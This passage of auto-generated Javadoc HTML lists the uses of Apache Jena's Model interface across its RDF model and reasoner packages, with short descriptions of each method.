com.hp.hpl.jena.rdf.model">Model</a>&nbsp;s)</code> <div class="block">Answer <code>model</code> after updating it with the sub-graph of <code>s</code> rooted at <code>r</code>, bounded by this instances <code>boundary</code>.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="http://docs.oracle.com/javase/6/docs/api/java/util/Set.html?is-external=true" title="class or interface in java.util">Set</a>&lt;<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&gt;</code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#findAssemblerRoots(com.hp.hpl.jena.rdf.model.Model)">findAssemblerRoots</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer a Set of resources present in <code>m</code> that are explicitly or implicitly of type ja:Object, ie, suitable as roots for <code>assemblerModelFrom</code>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a></code></td> <td class="colLast"><span class="strong">Property.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html#inModel(com.hp.hpl.jena.rdf.model.Model)">inModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Override RDFNode.inModel() to produce a staticly-typed Property in the given Model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a></code></td> <td class="colLast"><span class="strong">Resource.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html#inModel(com.hp.hpl.jena.rdf.model.Model)">inModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Override RDFNode.inModel() to produce a staticly-typed Resource in the given Model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFNode.html" title="interface in com.hp.hpl.jena.rdf.model">RDFNode</a></code></td> <td class="colLast"><span class="strong">RDFNode.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFNode.html#inModel(com.hp.hpl.jena.rdf.model.Model)">inModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer a .equals() version of this node, except that it's in the model <code>m</code>.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Literal.html" title="interface in com.hp.hpl.jena.rdf.model">Literal</a></code></td> <td class="colLast"><span class="strong">Literal.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Literal.html#inModel(com.hp.hpl.jena.rdf.model.Model)">inModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer a version of this literal in the model m.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#intersection(com.hp.hpl.jena.rdf.model.Model)">intersection</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Create a new, independant, model containing all the statements which are in both this model and another.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#isIsomorphicWith(com.hp.hpl.jena.rdf.model.Model)">isIsomorphicWith</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;g)</code> <div class="block">Compare this Model with another for equality ignoring the labels on bNodes.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/StmtIterator.html" title="interface in com.hp.hpl.jena.rdf.model">StmtIterator</a></code></td> <td class="colLast"><span class="strong">InfModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/InfModel.html#listStatements(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, com.hp.hpl.jena.rdf.model.RDFNode, com.hp.hpl.jena.rdf.model.Model)">listStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;subject, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;predicate, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFNode.html" title="interface in com.hp.hpl.jena.rdf.model">RDFNode</a>&nbsp;object, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;posit)</code> <div class="block">Find all the statements matching a pattern.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/<API key>.html#notifyEvent(com.hp.hpl.jena.rdf.model.Model, java.lang.Object)">notifyEvent</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a>&nbsp;event)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">RDFReader.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFReader.html#read(com.hp.hpl.jena.rdf.model.Model, java.io.InputStream, java.lang.String)">read</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/io/InputStream.html?is-external=true" title="class or interface in java.io">InputStream</a>&nbsp;r, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Read serialized RDF from an <code>InputStream</code> and add the statements to a <code>Model</code>.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">RDFReader.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFReader.html#read(com.hp.hpl.jena.rdf.model.Model, java.io.Reader, java.lang.String)">read</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/io/Reader.html?is-external=true" title="class or interface in java.io">Reader</a>&nbsp;r, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">It is usually a mistake to use this method.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">RDFReader.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFReader.html#read(com.hp.hpl.jena.rdf.model.Model, java.lang.String)">read</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;url)</code> <div class="block">Read serialized RDF from a url and add the statements to a model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelReader.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelReader.html#readModel(com.hp.hpl.jena.rdf.model.Model, java.lang.String)">readModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;toRead, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;URL)</code> <div class="block">Read the contents of <code>URL</code> into <code>toRead</code> and answer <code>toRead</code>,</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#remove(com.hp.hpl.jena.rdf.model.Model)">remove</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Remove all the Statements in a given model, including reified statements</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#remove(com.hp.hpl.jena.rdf.model.Model, boolean)">remove</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, boolean&nbsp;<API key>)</code> <div class="block"><strong>Deprecated.</strong>&nbsp; <div class="block"><i><API key> now longer has any meaning or effect</i></div> </div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/<API key>.html#removedStatements(com.hp.hpl.jena.rdf.model.Model)">removedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Method to call when a model has been used to remove statements from our attached model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#union(com.hp.hpl.jena.rdf.model.Model)">union</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Create a new, independant, model containing all the statements in this model together with all of those in another given model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#<API key>(com.hp.hpl.jena.rdf.model.Model)"><API key></a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block"><strong>Deprecated.</strong>&nbsp; <div class="block"><i>Hidden partial reifications not supported -- only style "Standard"</i></div> </div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">RDFWriter.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFWriter.html#write(com.hp.hpl.jena.rdf.model.Model, java.io.OutputStream, java.lang.String)">write</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/io/OutputStream.html?is-external=true" title="class or interface in java.io">OutputStream</a>&nbsp;out, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Serialize Model <code>model</code> to OutputStream <code>out</out>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">RDFWriter.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFWriter.html#write(com.hp.hpl.jena.rdf.model.Model, java.io.Writer, java.lang.String)">write</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="http://docs.oracle.com/javase/6/docs/api/java/io/Writer.html?is-external=true" title="class or interface in java.io">Writer</a>&nbsp;out, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Caution: Serialize Model <code>model</code> to Writer <code>out</code>.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.rdf.model.impl"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in com.hp.hpl.jena.rdf.model.impl</h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing classes, and an explanation"> <caption><span>Classes in com.hp.hpl.jena.rdf.model.impl that implement <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Class and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>class&nbsp;</code></td> <td class="colLast"><code><strong>com.hp.hpl.jena.rdf.model.impl.ModelCom</strong></code> <div class="block">Common methods for model implementations.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.reasoner"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/reasoner/package-summary.html">com.hp.hpl.jena.reasoner</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/reasoner/package-summary.html">com.hp.hpl.jena.reasoner</a> that return <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ReasonerRegistry.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/ReasonerRegistry.html#getAllDescriptions()">getAllDescriptions</a></strong>()</code> <div class="block">Return a composite set of RDF capability descriptions for all registered reasoners.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ReasonerFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/ReasonerFactory.html#getCapabilities()">getCapabilities</a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Reasoner.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html#<API key>()"><API key></a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/reasoner/package-summary.html">com.hp.hpl.jena.reasoner</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">Reasoner.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html#addDescription(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource)">addDescription</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;configSpec, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;base)</code> <div class="block">Add a configuration description for this reasoner into a partial configuration specification model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html" title="interface in com.hp.hpl.jena.reasoner">Reasoner</a></code></td> <td class="colLast"><span class="strong">Reasoner.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html#bindSchema(com.hp.hpl.jena.rdf.model.Model)">bindSchema</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;tbox)</code> <div class="block">This is most commonly used to attach an ontology (a set of tbox axioms in description logics jargon) to a reasoner.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.reasoner.rulesys"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/package-summary.html">com.hp.hpl.jena.reasoner.rulesys</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/package-summary.html">com.hp.hpl.jena.reasoner.rulesys</a> that return <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#getCapabilities()">getCapabilities</a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#getCapabilities()">getCapabilities</a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#getCapabilities()">getCapabilities</a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#getCapabilities()">getCapabilities</a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#getCapabilities()">getCapabilities</a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#getCapabilities()">getCapabilities</a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#<API key>()"><API key></a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">FBRuleReasoner.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/FBRuleReasoner.html#<API key>()"><API key></a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#<API key>()"><API key></a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/package-summary.html">com.hp.hpl.jena.reasoner.rulesys</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#addDescription(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource)">addDescription</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;configSpec, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;base)</code> <div class="block">Add a configuration description for this reasoner into a partial configuration specification model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong">FBRuleReasoner.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/FBRuleReasoner.html#addDescription(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource)">addDescription</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;configSpec, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;base)</code> <div class="block">Add a configuration description for this reasoner into a partial configuration specification model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#addDescription(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource)">addDescription</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;configSpec, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;base)</code> <div class="block">Add a configuration description for this reasoner into a partial configuration specification model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html" title="interface in com.hp.hpl.jena.reasoner">Reasoner</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#bindSchema(com.hp.hpl.jena.rdf.model.Model)">bindSchema</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;tbox)</code> <div class="block">Precompute the implications of a schema Model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html" title="interface in com.hp.hpl.jena.reasoner">Reasoner</a></code></td> <td class="colLast"><span class="strong">FBRuleReasoner.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/FBRuleReasoner.html#bindSchema(com.hp.hpl.jena.rdf.model.Model)">bindSchema</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;tbox)</code> <div class="block">Precompute the implications of a schema Model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html" title="interface in com.hp.hpl.jena.reasoner">Reasoner</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/rulesys/<API key>.html#bindSchema(com.hp.hpl.jena.rdf.model.Model)">bindSchema</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;tbox)</code> <div class="block">Precompute the implications of a schema Model.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.reasoner.transitiveReasoner"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/reasoner/transitiveReasoner/package-summary.html">com.hp.hpl.jena.reasoner.transitiveReasoner</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/reasoner/transitiveReasoner/package-summary.html">com.hp.hpl.jena.reasoner.transitiveReasoner</a> that return <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/transitiveReasoner/<API key>.html#getCapabilities()">getCapabilities</a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">TransitiveReasoner.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/reasoner/transitiveReasoner/TransitiveReasoner.html#<API key>()"><API key></a></strong>()</code> <div class="block">Return a description of the capabilities of this reasoner encoded in RDF.</div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, 